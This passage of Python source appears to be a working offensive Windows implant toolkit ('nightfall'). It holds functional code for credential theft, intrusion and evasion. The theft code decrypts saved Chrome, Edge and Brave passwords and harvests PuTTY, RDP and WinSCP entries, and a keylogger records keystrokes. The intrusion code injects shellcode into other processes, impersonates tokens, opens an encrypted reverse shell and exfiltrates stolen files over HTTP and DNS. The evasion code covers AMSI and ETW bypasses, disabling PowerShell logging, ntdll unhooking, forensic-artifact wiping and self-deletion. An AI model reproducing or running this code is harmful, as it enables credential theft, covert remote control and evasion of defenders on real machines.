                adv.RegSetValueExW(hkey, name, 0, REG_DWORD, ctypes.byref(v), 4)
            adv.RegCloseKey(hkey)
            ok += 1
        if ok:
            print(f"[+] ps-log: scriptblock/module/transcription logging disabled")
            def _undo_pslog(snaps=snapshots):
                for subkey, name, prev in snaps:
                    if prev is None:
                        hkey = wt.HANDLE()
                        s = adv.RegOpenKeyExW(HKEY_LOCAL_MACHINE, subkey, 0,
                                              KEY_WRITE, ctypes.byref(hkey))
                        if s == 0:
                            adv.RegDeleteValueW(hkey, name)
                            adv.RegCloseKey(hkey)
                    else:
                        hkey = wt.HANDLE()
                        disp = wt.DWORD()
                        s = adv.RegCreateKeyExW(
                            HKEY_LOCAL_MACHINE, subkey, 0, None, 0, KEY_WRITE,
                            None, ctypes.byref(hkey), ctypes.byref(disp))
                        if s == 0:
                            v = wt.DWORD(prev)
                            adv.RegSetValueExW(hkey, name, 0, REG_DWORD,
                                               ctypes.byref(v), 4)
                            adv.RegCloseKey(hkey)
            self._track("evasion", "ps logging disabled", _undo_pslog)
        else:
            print("[-] ps-log: failed (need admin)")
        return ok > 0

    def artifact_wipe(self):
        cleaned = 0
        pf_dir = r"C:\Windows\Prefetch"
        try:
            for f in os.listdir(pf_dir):
                low = f.lower()
                if any(x in low for x in ["python", "nightfall", "nf_", "easinvoker"]):
                    try:
                        self._secure_delete(os.path.join(pf_dir, f))
                        cleaned += 1
                    except (OSError, PermissionError):
                        pass
        except (OSError, PermissionError):
            pass

        recent = os.path.join(os.environ.get("APPDATA", ""),
                              r"Microsoft\Windows\Recent")
        try:
            for f in os.listdir(recent):
                low = f.lower()
                if any(x in low for x in ["nightfall", "nf_", "python"]):
                    try:
                        os.remove(os.path.join(recent, f))
                        cleaned += 1
                    except (OSError, PermissionError):
                        pass
        except (OSError, PermissionError):
            pass

        jl_dir = os.path.join(os.environ.get("APPDATA", ""),
                              r"Microsoft\Windows\Recent\AutomaticDestinations")
        try:
            for f in os.listdir(jl_dir):
                path = os.path.join(jl_dir, f)
                try:
                    if time.time() - os.path.getmtime(path) < 3600:
                        os.remove(path)
                        cleaned += 1
                except (OSError, PermissionError):
                    pass
        except (OSError, PermissionError):
            pass

        try:
            subprocess.run(
                ["powershell", "-NoProfile", "-NonInteractive", "-c",
                 r"Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\bam\State\UserSettings\*' 2>$null"
                 r"| ForEach-Object { $_.PSObject.Properties | Where-Object { $_.Name -match 'python|nightfall|nf_' }"
                 r"| ForEach-Object { Remove-ItemProperty -Path $_.PSParentPath -Name $_.Name -Force 2>$null } }"],
                capture_output=True, text=True, timeout=10)
            cleaned += 1
        except Exception:
            pass

        try:
            subprocess.run(
                ["powershell", "-NoProfile", "-NonInteractive", "-c",
                 r"Remove-Item 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\*\Count' -Recurse -Force 2>$null"],
                capture_output=True, text=True, timeout=10)
            cleaned += 1
        except Exception:
            pass

        temp = os.environ.get("TEMP", "")
        for f in os.listdir(temp):
            if f.startswith("nf_"):
                try:
                    path = os.path.join(temp, f)
                    if os.path.isfile(path):
                        self._secure_delete(path)
                    elif os.path.isdir(path):
                        shutil.rmtree(path, ignore_errors=True)
                    cleaned += 1
                except (OSError, PermissionError):
                    pass

        print(f"[+] artifact wipe: {cleaned} items cleaned")

    def ppid_spoof(self, cmd, parent="explorer.exe"):
        try:
            r = subprocess.run(
                ["powershell", "-NoProfile", "-NonInteractive", "-c",
                 f"(Get-Process {parent} -ErrorAction SilentlyContinue)[0].Id"],
                capture_output=True, text=True, timeout=5)
            ppid = int(r.stdout.strip())
        except (ValueError, IndexError):
            print(f"[-] ppid-spoof: can't find {parent}")
            return False

        hParent = k32.OpenProcess(PROCESS_QUERY_INFORMATION, False, ppid)
        if not hParent:
            print(f"[-] ppid-spoof: OpenProcess failed ({k32.GetLastError()})")
            return False

        size = ctypes.c_size_t()
        k32.InitializeProcThreadAttributeList(None, 1, 0, ctypes.byref(size))
        attr_list = (ctypes.c_byte * size.value)()
        if not k32.InitializeProcThreadAttributeList(attr_list, 1, 0, ctypes.byref(size)):
            k32.CloseHandle(hParent)
            return False

        parent_handle = wt.HANDLE(hParent)
        if not k32.UpdateProcThreadAttribute(
                attr_list, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
                ctypes.byref(parent_handle), ctypes.sizeof(parent_handle), None, None):
            k32.DeleteProcThreadAttributeList(attr_list)
            k32.CloseHandle(hParent)
            return False

        class SIEX(ctypes.Structure):
            _fields_ = [
                ("cb", wt.DWORD), ("lpReserved", ctypes.c_wchar_p),
                ("lpDesktop", ctypes.c_wchar_p), ("lpTitle", ctypes.c_wchar_p),
                ("dwX", wt.DWORD), ("dwY", wt.DWORD),
                ("dwXSize", wt.DWORD), ("dwYSize", wt.DWORD),
                ("dwXCountChars", wt.DWORD), ("dwYCountChars", wt.DWORD),
                ("dwFillAttribute", wt.DWORD), ("dwFlags", wt.DWORD),
                ("wShowWindow", wt.WORD), ("cbReserved2", wt.WORD),
                ("lpReserved2", ctypes.c_void_p), ("hStdInput", wt.HANDLE),
                ("hStdOutput", wt.HANDLE), ("hStdError", wt.HANDLE),
                ("lpAttributeList", ctypes.c_void_p),
            ]

        class PI(ctypes.Structure):
            _fields_ = [
                ("hProcess", wt.HANDLE), ("hThread", wt.HANDLE),
                ("dwProcessId", wt.DWORD), ("dwThreadId", wt.DWORD),
            ]

        si = SIEX()
        ctypes.memset(ctypes.byref(si), 0, ctypes.sizeof(si))
        si.cb = ctypes.sizeof(si)
        si.lpAttributeList = ctypes.cast(attr_list, ctypes.c_void_p)
        pi = PI()

        cmd_buf = ctypes.create_unicode_buffer(cmd)
        ok = k32.CreateProcessW(
            None, cmd_buf, None, None, False,
            EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,
            None, None, ctypes.byref(si), ctypes.byref(pi))

        k32.DeleteProcThreadAttributeList(attr_list)
        k32.CloseHandle(hParent)

        if ok:
            print(f"[+] ppid-spoof: PID {pi.dwProcessId} spawned under {parent} ({ppid})")
            k32.CloseHandle(pi.hProcess)
            k32.CloseHandle(pi.hThread)
        else:
            print(f"[-] ppid-spoof: CreateProcessW failed ({k32.GetLastError()})")
        return bool(ok)

    def ghost(self):
        print("\n=== GHOST MODE ===")
        if self.anti_debug():
            print("[!] debugger detected, aborting")
            return False
        suspicious = self.anti_vm()
        if suspicious:
            try:
                resp = input("[?] continue anyway? (y/N): ").strip().lower()
                if resp != 'y':
                    return False
            except (EOFError, KeyboardInterrupt):
                return False
        if not self.amsi_bypass_hw():
            self.amsi_bypass()
        if not self.etw_blind_hw():
            self.etw_blind()
        self.ps_log_bypass()
        print("[+] ghost mode: active")
        return True

    def _xor_crypt(self, data, key):
        return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))

    def _get_machine_key(self):
        guid = self._reg_read(0x80000002, r"SOFTWARE\Microsoft\Cryptography", "MachineGuid")
        if guid:
            return str(guid).encode()[:32].ljust(32, b'\x00')
        return b'\x41' * 32

    def loot_encrypt(self, directory=None):
        if directory is None:
            directory = os.path.join(os.environ["TEMP"], "nf_loot")
        if not os.path.isdir(directory):
            print("[-] loot encrypt: directory not found")
            return
        key = self._get_machine_key()
        count = 0
        for f in os.listdir(directory):
            path = os.path.join(directory, f)
            if os.path.isfile(path) and not path.endswith(".enc"):
                with open(path, 'rb') as fh:
                    data = fh.read()
                with open(path + ".enc", 'wb') as fh:
                    fh.write(self._xor_crypt(data, key))
                self._secure_delete(path)
                count += 1
        print(f"[+] loot encrypt: {count} files encrypted")

    def self_destruct(self):
        print("[!] SELF DESTRUCT: removing known artifacts")
        try:
            confirm = input("[?] type YES to confirm: ")
        except (EOFError, KeyboardInterrupt):
            print("\n[-] aborted")
            return
        if confirm.strip() != "YES":
            print("[-] aborted")
            return

        self.cleanup()
        self.persist_remove()
        self.persist_task_remove()
        self.artifact_wipe()
        self.evtlog_clear()

        loot = os.path.join(os.environ.get("TEMP", ""), "nf_loot")
        if os.path.isdir(loot):
            shutil.rmtree(loot, ignore_errors=True)
        dump = os.path.join(os.environ.get("TEMP", ""), "nf_dump")
        if os.path.isdir(dump):
            shutil.rmtree(dump, ignore_errors=True)

        script = os.path.abspath(__file__)
        cmd = f'ping 127.0.0.1 -n 3 > NUL & del /f /q "{script}"'
        subprocess.Popen(cmd, shell=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        print("[+] self destruct: initiated")
        sys.exit(0)

    def inject(self, pid, shellcode_path):
        self._enable_privilege("SeDebugPrivilege")
        with open(shellcode_path, 'rb') as f:
            sc = f.read()

        hproc = k32.OpenProcess(PROCESS_ALL_ACCESS, False, pid)
        if not hproc:
            print(f"[-] inject: OpenProcess failed ({k32.GetLastError()})")
            return False

        addr = k32.VirtualAllocEx(
            hproc, None, len(sc), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
        if not addr:
            print(f"[-] inject: VirtualAllocEx failed ({k32.GetLastError()})")
            k32.CloseHandle(hproc)
            return False

        written = ctypes.c_size_t()
        if not k32.WriteProcessMemory(hproc, addr, sc, len(sc), ctypes.byref(written)):
            print(f"[-] inject: WriteProcessMemory failed ({k32.GetLastError()})")
            k32.CloseHandle(hproc)
            return False

        old = wt.DWORD()
        k32.VirtualProtectEx(hproc, addr, len(sc), PAGE_EXECUTE_READ, ctypes.byref(old))

        tid = wt.DWORD()
        ht = k32.CreateRemoteThread(hproc, None, 0, addr, None, 0, ctypes.byref(tid))
        if not ht:
            print(f"[-] inject: CreateRemoteThread failed ({k32.GetLastError()})")
            k32.CloseHandle(hproc)
            return False

        print(f"[+] inject: {len(sc)} bytes -> PID {pid}, thread {tid.value}")
        k32.CloseHandle(ht)
        k32.CloseHandle(hproc)
        return True

    def keylog_start(self, out_path=None):
        if self._keylog_active:
            print("[*] keylog: already running")
            return
        if out_path is None:
            out_path = os.path.join(os.environ["TEMP"], "nf_keys.log")
        self._keylog_active = True
        self._keylog_file = open(out_path, "a", encoding="utf-8")

        u32 = ctypes.windll.user32
        log_f = self._keylog_file

        VK_MAP = {
            0x08: "[BS]", 0x09: "[TAB]", 0x0D: "\n", 0x1B: "[ESC]",
            0x20: " ", 0x2E: "[DEL]",
        }

        def hook_proc(nCode, wParam, lParam):
            if nCode >= 0 and wParam == WM_KEYDOWN:
                kb = KBDLLHOOKSTRUCT.from_address(lParam)
                vk = kb.vkCode
                if vk in VK_MAP:
                    ch = VK_MAP[vk]
                elif 0x30 <= vk <= 0x5A:
                    shift = u32.GetKeyState(0x10) & 0x8000
                    caps = u32.GetKeyState(0x14) & 1
                    ch = chr(vk)
                    if not (bool(shift) ^ bool(caps)):
                        ch = ch.lower()
                elif 0x60 <= vk <= 0x69:
                    ch = str(vk - 0x60)
                elif vk == 0xBA:
                    ch = ";"
                elif vk == 0xBB:
                    ch = "="
                elif vk == 0xBC:
                    ch = ","
                elif vk == 0xBD:
                    ch = "-"
                elif vk == 0xBE:
                    ch = "."
                elif vk == 0xBF:
                    ch = "/"
                else:
                    ch = ""
                if ch:
                    try:
                        log_f.write(ch)
                        log_f.flush()
                    except Exception:
                        pass
            return u32.CallNextHookEx(None, nCode, wParam, lParam)

        self._keylog_cb = HOOKPROC(hook_proc)

        def msg_loop():
            hook = u32.SetWindowsHookExW(WH_KEYBOARD_LL, self._keylog_cb, None, 0)
            self._keylog_hook = hook
            msg = (ctypes.c_byte * 48)()
            while self._keylog_active:
                ret = u32.PeekMessageW(msg, None, 0, 0, PM_REMOVE)
                if not ret:
                    time.sleep(0.01)

        self._keylog_thread = threading.Thread(target=msg_loop, daemon=True)
        self._keylog_thread.start()
        print(f"[+] keylog: active -> {out_path}")

    def keylog_stop(self):
        self._keylog_active = False
        if self._keylog_hook:
            ctypes.windll.user32.UnhookWindowsHookEx(self._keylog_hook)
            self._keylog_hook = None
        if self._keylog_file:
            self._keylog_file.close()
            self._keylog_file = None
        print("[+] keylog: stopped")

    def _dpapi_decrypt(self, encrypted):
        crypt32 = ctypes.windll.crypt32
        blob_in = DATA_BLOB()
        buf = ctypes.create_string_buffer(encrypted)
        blob_in.cbData = len(encrypted)
        blob_in.pbData = ctypes.cast(buf, ctypes.c_void_p)
        blob_out = DATA_BLOB()
        crypt32.CryptUnprotectData.argtypes = [
            ctypes.POINTER(DATA_BLOB), ctypes.c_void_p, ctypes.c_void_p,
            ctypes.c_void_p, ctypes.c_void_p, wt.DWORD, ctypes.POINTER(DATA_BLOB)]
        crypt32.CryptUnprotectData.restype = wt.BOOL
        if crypt32.CryptUnprotectData(
                ctypes.byref(blob_in), None, None, None, None, 0, ctypes.byref(blob_out)):
            result = ctypes.string_at(blob_out.pbData, blob_out.cbData)
            k32.LocalFree(blob_out.pbData)
            return result
        return None

    def _aes_gcm_decrypt(self, key, nonce, ciphertext, tag):
        bc = ctypes.windll.bcrypt
        bc.BCryptOpenAlgorithmProvider.argtypes = [
            ctypes.POINTER(wt.HANDLE), ctypes.c_wchar_p, ctypes.c_wchar_p, wt.DWORD]
        bc.BCryptOpenAlgorithmProvider.restype = wt.LONG
        bc.BCryptSetProperty.argtypes = [
            wt.HANDLE, ctypes.c_wchar_p, ctypes.c_void_p, wt.DWORD, wt.DWORD]
        bc.BCryptSetProperty.restype = wt.LONG
        bc.BCryptGenerateSymmetricKey.argtypes = [
            wt.HANDLE, ctypes.POINTER(wt.HANDLE), ctypes.c_void_p, wt.DWORD,
            ctypes.c_void_p, wt.DWORD, wt.DWORD]
        bc.BCryptGenerateSymmetricKey.restype = wt.LONG
        bc.BCryptDecrypt.argtypes = [
            wt.HANDLE, ctypes.c_void_p, wt.DWORD, ctypes.c_void_p,
            ctypes.c_void_p, wt.DWORD, ctypes.c_void_p, wt.DWORD,
            ctypes.POINTER(wt.DWORD), wt.DWORD]
        bc.BCryptDecrypt.restype = wt.LONG
        bc.BCryptDestroyKey.argtypes = [wt.HANDLE]
        bc.BCryptDestroyKey.restype = wt.LONG
        bc.BCryptCloseAlgorithmProvider.argtypes = [wt.HANDLE, wt.DWORD]
        bc.BCryptCloseAlgorithmProvider.restype = wt.LONG

        hAlg = wt.HANDLE()
        if bc.BCryptOpenAlgorithmProvider(ctypes.byref(hAlg), "AES", None, 0) != 0:
            return None

        mode = ctypes.create_unicode_buffer("ChainingModeGCM")
        bc.BCryptSetProperty(hAlg, "ChainingMode", mode, len("ChainingModeGCM") * 2, 0)

        hKey = wt.HANDLE()
        key_buf = (ctypes.c_byte * len(key))(*key)
        bc.BCryptGenerateSymmetricKey(
            hAlg, ctypes.byref(hKey), None, 0, key_buf, len(key), 0)

        auth = BCRYPT_AUTH_INFO()
        ctypes.memset(ctypes.byref(auth), 0, ctypes.sizeof(auth))
        auth.cbSize = ctypes.sizeof(auth)
        auth.dwInfoVersion = 1

        nonce_buf = (ctypes.c_byte * len(nonce))(*nonce)
        auth.pbNonce = ctypes.cast(nonce_buf, ctypes.c_void_p)
        auth.cbNonce = len(nonce)

        tag_buf = (ctypes.c_byte * len(tag))(*tag)
        auth.pbTag = ctypes.cast(tag_buf, ctypes.c_void_p)
        auth.cbTag = len(tag)

        ct_buf = (ctypes.c_byte * len(ciphertext))(*ciphertext)
        pt_buf = (ctypes.c_byte * len(ciphertext))()
        pt_len = wt.DWORD()

        status = bc.BCryptDecrypt(
            hKey, ct_buf, len(ciphertext), ctypes.byref(auth),
            None, 0, pt_buf, len(ciphertext), ctypes.byref(pt_len), 0)

        bc.BCryptDestroyKey(hKey)
        bc.BCryptCloseAlgorithmProvider(hAlg, 0)

        if status != 0:
            return None
        return bytes(pt_buf[:pt_len.value])

    def browser_creds(self):
        print("\n=== BROWSER CREDENTIALS ===")
        browsers = {
            "Chrome": os.path.join(os.environ.get("LOCALAPPDATA", ""),
                                   r"Google\Chrome\User Data"),
            "Edge": os.path.join(os.environ.get("LOCALAPPDATA", ""),
                                 r"Microsoft\Edge\User Data"),
            "Brave": os.path.join(os.environ.get("LOCALAPPDATA", ""),
                                  r"BraveSoftware\Brave-Browser\User Data"),
        }
        total = 0
        for name, base_path in browsers.items():
            if not os.path.isdir(base_path):
                continue
            local_state = os.path.join(base_path, "Local State")
            if not os.path.isfile(local_state):
                continue
            try:
                with open(local_state, 'r', encoding='utf-8') as f:
                    ls = json.load(f)
                enc_key = base64.b64decode(ls["os_crypt"]["encrypted_key"])
                enc_key = enc_key[5:]
                aes_key = self._dpapi_decrypt(enc_key)
                if not aes_key:
                    continue
            except Exception:
                continue

            profiles = ["Default"] + [f"Profile {i}" for i in range(1, 10)]
            for profile in profiles:
                login_db = os.path.join(base_path, profile, "Login Data")
                if not os.path.isfile(login_db):
                    continue
                tmp_db = os.path.join(os.environ["TEMP"], f"nf_{name}_{profile}_ld")
                try:
                    shutil.copy2(login_db, tmp_db)
                except (OSError, PermissionError):
                    continue
                try:
                    conn = sqlite3.connect(tmp_db)
                    cursor = conn.cursor()
                    cursor.execute(
                        "SELECT origin_url, username_value, password_value FROM logins")
                    rows = cursor.fetchall()
                    conn.close()
                except Exception:
                    try:
                        os.remove(tmp_db)
                    except OSError:
                        pass
                    continue

                for url, user, enc_pass in rows:
                    if not user or not enc_pass:
                        continue
                    password = ""
                    try:
                        if enc_pass[:3] in (b'v10', b'v11'):
                            nonce = enc_pass[3:15]
                            ct = enc_pass[15:-16]
                            tag = enc_pass[-16:]
                            pt = self._aes_gcm_decrypt(aes_key, nonce, ct, tag)
                            if pt:
                                password = pt.decode('utf-8', errors='replace')
                        else:
                            pt = self._dpapi_decrypt(enc_pass)
                            if pt:
                                password = pt.decode('utf-8', errors='replace')
                    except Exception:
                        password = "(decrypt failed)"
                    if password:
                        print(f"  [{name}/{profile}] {url}")
                        print(f"    user: {user}  pass: {password}")
                        total += 1
                try:
                    os.remove(tmp_db)
                except OSError:
                    pass
        print(f"\n[+] browser creds: {total} credentials extracted")

    def reg_creds(self):
        print("\n=== REGISTRY CREDENTIALS ===")
        total = 0

        try:
            r = subprocess.run(
                ["reg", "query", r"HKCU\SOFTWARE\SimonTatham\PuTTY\Sessions"],
                capture_output=True, text=True, timeout=5)
            for line in r.stdout.strip().splitlines():
                line = line.strip()
                if line.startswith("HKEY_"):
                    session = line.split("\\")[-1]
                    r2 = subprocess.run(
                        ["reg", "query", line],
                        capture_output=True, text=True, timeout=5)
                    host = user = ""
                    for l in r2.stdout.splitlines():
                        if "HostName" in l and "REG_SZ" in l:
                            host = l.split("REG_SZ")[-1].strip()
                        if "UserName" in l and "REG_SZ" in l:
                            user = l.split("REG_SZ")[-1].strip()
                    if host:
                        print(f"  [PuTTY] {session}: {user}@{host}")
                        total += 1
        except Exception:
            pass

        try:
            r = subprocess.run(
                ["reg", "query", r"HKCU\SOFTWARE\Microsoft\Terminal Server Client\Servers"],
                capture_output=True, text=True, timeout=5)
            for line in r.stdout.strip().splitlines():
                line = line.strip()
                if line.startswith("HKEY_"):
                    server = line.split("\\")[-1]
                    r2 = subprocess.run(
                        ["reg", "query", line, "/v", "UsernameHint"],
                        capture_output=True, text=True, timeout=5)
                    for l in r2.stdout.splitlines():
                        if "UsernameHint" in l:
                            hint = l.split("REG_SZ")[-1].strip()
                            print(f"  [RDP] {server}: {hint}")
                            total += 1
        except Exception:
            pass

        try:
            r = subprocess.run(["cmdkey", "/list"],
                               capture_output=True, text=True, timeout=10)
            if "Target:" in r.stdout:
                print("\n  --- Credential Manager ---")
                for line in r.stdout.strip().splitlines():
                    line = line.strip()
                    if line:
                        print(f"    {line}")
                total += 1
        except Exception:
            pass

        try:
            r = subprocess.run(
                ["reg", "query", r"HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions"],
                capture_output=True, text=True, timeout=5)
            for line in r.stdout.strip().splitlines():
                line = line.strip()
                if line.startswith("HKEY_"):
                    session = line.split("\\")[-1]
                    r2 = subprocess.run(
                        ["reg", "query", line],
                        capture_output=True, text=True, timeout=5)
                    host = user = ""
                    for l in r2.stdout.splitlines():
                        if "HostName" in l and "REG_SZ" in l:
                            host = l.split("REG_SZ")[-1].strip()
                        if "UserName" in l and "REG_SZ" in l:
                            user = l.split("REG_SZ")[-1].strip()
                    if host:
                        print(f"  [WinSCP] {session}: {user}@{host}")
                        total += 1
        except Exception:
            pass

        print(f"\n[+] reg creds: {total} entries found")

    def token_impersonate(self, pid):
        self._enable_privilege("SeDebugPrivilege")
        hproc = k32.OpenProcess(PROCESS_QUERY_INFORMATION, False, pid)
        if not hproc:
            print(f"[-] impersonate: OpenProcess failed ({k32.GetLastError()})")
            return False
        htoken = wt.HANDLE()
        if not adv.OpenProcessToken(hproc, TOKEN_DUPLICATE | TOKEN_IMPERSONATE,
                                     ctypes.byref(htoken)):
            print(f"[-] impersonate: OpenProcessToken failed ({k32.GetLastError()})")
            k32.CloseHandle(hproc)
            return False
        hdup = wt.HANDLE()
        if not adv.DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, None,
                                     SECURITY_IMPERSONATION, 2, ctypes.byref(hdup)):
            print(f"[-] impersonate: DuplicateTokenEx failed ({k32.GetLastError()})")
            k32.CloseHandle(htoken)
            k32.CloseHandle(hproc)
            return False
        if adv.ImpersonateLoggedOnUser(hdup):
            print(f"[+] impersonate: now running as token from PID {pid}")
        else:
            print(f"[-] impersonate: failed ({k32.GetLastError()})")
        k32.CloseHandle(hdup)
        k32.CloseHandle(htoken)
        k32.CloseHandle(hproc)
        return True

    def revert_self(self):
        adv.RevertToSelf()
        print("[+] reverted to original token")

    def reverse_shell(self, host, port):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(30)
            s.connect((host, int(port)))
            key = os.urandom(16)
            s.send(key)
            print(f"[+] reverse shell: connected to {host}:{port}")

            while True:
                s.settimeout(None)
                length_data = b""
                while len(length_data) < 4:
                    chunk = s.recv(4 - len(length_data))
                    if not chunk:
                        s.close()
                        return
                    length_data += chunk

                cmd_len = struct.unpack('<I', length_data)[0]
                if cmd_len > 65536:
                    break

                enc_cmd = b""
                while len(enc_cmd) < cmd_len:
                    chunk = s.recv(cmd_len - len(enc_cmd))
                    if not chunk:
                        s.close()
                        return
                    enc_cmd += chunk

                cmd = self._xor_crypt(enc_cmd, key).decode('utf-8', errors='replace')
                if cmd.strip().lower() in ("exit", "quit"):
                    break

                try:
                    r = subprocess.run(cmd, shell=True, capture_output=True, timeout=30)
                    output = r.stdout + r.stderr
                except subprocess.TimeoutExpired:
                    output = b"[timeout]\n"
                except Exception as e:
                    output = str(e).encode()

                if not output:
                    output = b"\n"
                enc_out = self._xor_crypt(output, key)
                s.send(struct.pack('<I', len(enc_out)) + enc_out)

            s.close()
            print("[+] reverse shell: disconnected")
        except Exception as e:
            print(f"[-] reverse shell: {e}")

    def exfil_http(self, url, data_dir=None):
        import io
        import urllib.request
        if data_dir is None:
            data_dir = os.path.join(os.environ["TEMP"], "nf_loot")
        if not os.path.isdir(data_dir):
            print("[-] exfil-http: directory not found")
            return

        buf = io.BytesIO()
        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
            for f in os.listdir(data_dir):
                path = os.path.join(data_dir, f)
                if os.path.isfile(path):
                    zf.write(path, f)
        data = buf.getvalue()
        key = self._get_machine_key()
        encrypted = self._xor_crypt(data, key)

        req = urllib.request.Request(
            url, data=encrypted,
            headers={"Content-Type": "application/octet-stream",
                     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"})
        try:
            resp = urllib.request.urlopen(req, timeout=30)
            print(f"[+] exfil-http: {len(encrypted)} bytes sent ({resp.status})")
        except Exception as e:
            print(f"[-] exfil-http: {e}")

    def exfil_dns(self, domain, data_dir=None):
        import io
        if data_dir is None:
            data_dir = os.path.join(os.environ["TEMP"], "nf_loot")
        if not os.path.isdir(data_dir):
            print("[-] exfil-dns: directory not found")
            return

        buf = io.BytesIO()
        with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
            for f in os.listdir(data_dir):
                path = os.path.join(data_dir, f)
                if os.path.isfile(path):
                    zf.write(path, f)
        compressed = buf.getvalue()
        encoded = base64.b32encode(compressed).decode().rstrip('=').lower()

        chunk_size = 60
        chunks = [encoded[i:i + chunk_size] for i in range(0, len(encoded), chunk_size)]
        total = len(chunks)
        print(f"[*] exfil-dns: {len(compressed)} bytes -> {total} queries to *.{domain}")

        sent = 0
        for seq, chunk in enumerate(chunks):
            qname = f"{chunk}.{seq}.{total}.{domain}"
            try:
                socket.getaddrinfo(qname, None)
            except socket.gaierror:
                pass
            sent += 1
            if sent % 50 == 0:
                time.sleep(1)
        print(f"[+] exfil-dns: {sent}/{total} queries sent")

    def unhook_ntdll(self):
        ntdll_path = os.path.join(os.environ["SYSTEMROOT"], "System32", "ntdll.dll")
        with open(ntdll_path, 'rb') as f:
            raw = f.read()

        dos = IMAGE_DOS_HEADER.from_buffer_copy(raw)
        if dos.e_magic != 0x5A4D:
            print("[-] unhook: bad MZ")
            return False

        pe_off = dos.e_lfanew
        sig = struct.unpack_from('<I', raw, pe_off)[0]
        if sig != 0x4550:
            print("[-] unhook: bad PE sig")
            return False

        fh = IMAGE_FILE_HEADER.from_buffer_copy(raw, pe_off + 4)
        opt_size = fh.SizeOfOptionalHeader
        section_off = pe_off + 4 + ctypes.sizeof(IMAGE_FILE_HEADER) + opt_size

        text_sec = None
        for i in range(fh.NumberOfSections):
            off = section_off + i * ctypes.sizeof(IMAGE_SECTION_HEADER)
            sec = IMAGE_SECTION_HEADER.from_buffer_copy(raw, off)
            name = bytes(sec.Name).rstrip(b'\x00')
            if name == b'.text':
                text_sec = sec
                break

        if not text_sec:
            print("[-] unhook: .text not found")
            return False

        base = k32.GetModuleHandleW("ntdll.dll")
        if not base:
            return False

        dst = base + text_sec.VirtualAddress
        src_off = text_sec.PointerToRawData
        size = text_sec.SizeOfRawData
        clean = raw[src_off:src_off + size]

        old = wt.DWORD()
        k32.VirtualProtect(dst, size, PAGE_EXECUTE_READWRITE, ctypes.byref(old))
        ctypes.memmove(dst, clean, size)
        k32.VirtualProtect(dst, size, old.value, ctypes.byref(old))
        print(f"[+] unhook: ntdll .text restored ({size} bytes from disk)")
        self._track("evasion", "ntdll unhooked")
        return True

    def _setup_veh(self):
        if self._veh_handle:
            return
        targets = self._hw_bp_targets

        @ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_void_p)
        def handler(exc_ptrs_raw):
            try:
                ptrs = ctypes.cast(exc_ptrs_raw, ctypes.POINTER(EXCEPTION_POINTERS))
                code = ptrs[0].ExceptionRecord[0].ExceptionCode
                if code != EXCEPTION_SINGLE_STEP:
                    return 0
                ctx = ptrs[0].ContextRecord
                rip = ctx[0].Rip
                if rip not in targets:
                    return 0
                kind = targets[rip]
                if kind == 'amsi':
                    ctx[0].Rax = 0x80070057
                else:
                    ctx[0].Rax = 0
                ret_addr = ctypes.c_uint64.from_address(ctx[0].Rsp)
                ctx[0].Rip = ret_addr.value
                ctx[0].Rsp += 8
                ctx[0].EFlags |= 0x10000
                return -1
            except Exception:
                return 0

        self._veh_cb_ref = handler
        self._veh_handle = k32.AddVectoredExceptionHandler(1, handler)

    def _set_hw_bp(self, target_tid, dr_index, addr):
        done = threading.Event()

        def setter():
            ht = k32.OpenThread(
                THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
                False, target_tid)
            if not ht:
                done.set()
                return
            k32.SuspendThread(ht)
            ctx = CONTEXT64()
            ctx.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS
            k32.GetThreadContext(ht, ctypes.byref(ctx))
            if dr_index == 0:
                ctx.Dr0 = addr
            elif dr_index == 1:
                ctx.Dr1 = addr
            elif dr_index == 2:
                ctx.Dr2 = addr
            elif dr_index == 3:
                ctx.Dr3 = addr
            enable_bit = 1 << (dr_index * 2)
            ctx.Dr7 = (ctx.Dr7 & ~(0x3 << (dr_index * 2))) | enable_bit
            shift = 16 + dr_index * 4
            ctx.Dr7 &= ~(0xF << shift)
            k32.SetThreadContext(ht, ctypes.byref(ctx))
            k32.ResumeThread(ht)
            k32.CloseHandle(ht)
            done.set()

        t = threading.Thread(target=setter, daemon=True)
        t.start()
        done.wait(timeout=5)

    def _clear_hw_bp(self, dr_index, addr):
        if addr in self._hw_bp_targets:
            del self._hw_bp_targets[addr]
        done = threading.Event()
        target_tid = k32.GetCurrentThreadId()

        def clearer():
            ht = k32.OpenThread(
                THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
                False, target_tid)
            if not ht:
                done.set()
                return
            k32.SuspendThread(ht)
            ctx = CONTEXT64()
            ctx.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS
            k32.GetThreadContext(ht, ctypes.byref(ctx))
            if dr_index == 0:
                ctx.Dr0 = 0
            elif dr_index == 1:
                ctx.Dr1 = 0
            elif dr_index == 2:
                ctx.Dr2 = 0
            elif dr_index == 3:
                ctx.Dr3 = 0
            ctx.Dr7 &= ~(1 << (dr_index * 2))
            k32.SetThreadContext(ht, ctypes.byref(ctx))
            k32.ResumeThread(ht)
            k32.CloseHandle(ht)
            done.set()

        t = threading.Thread(target=clearer, daemon=True)
        t.start()
        done.wait(timeout=5)

    def amsi_bypass_hw(self):
        try:
            ctypes.windll.LoadLibrary("amsi.dll")
        except OSError:
            return False
        addr = k32.GetProcAddress(k32.GetModuleHandleW("amsi.dll"), b"AmsiScanBuffer")
        if not addr:
            return False
        self._setup_veh()
        self._hw_bp_targets[addr] = 'amsi'
        self._set_hw_bp(k32.GetCurrentThreadId(), 0, addr)
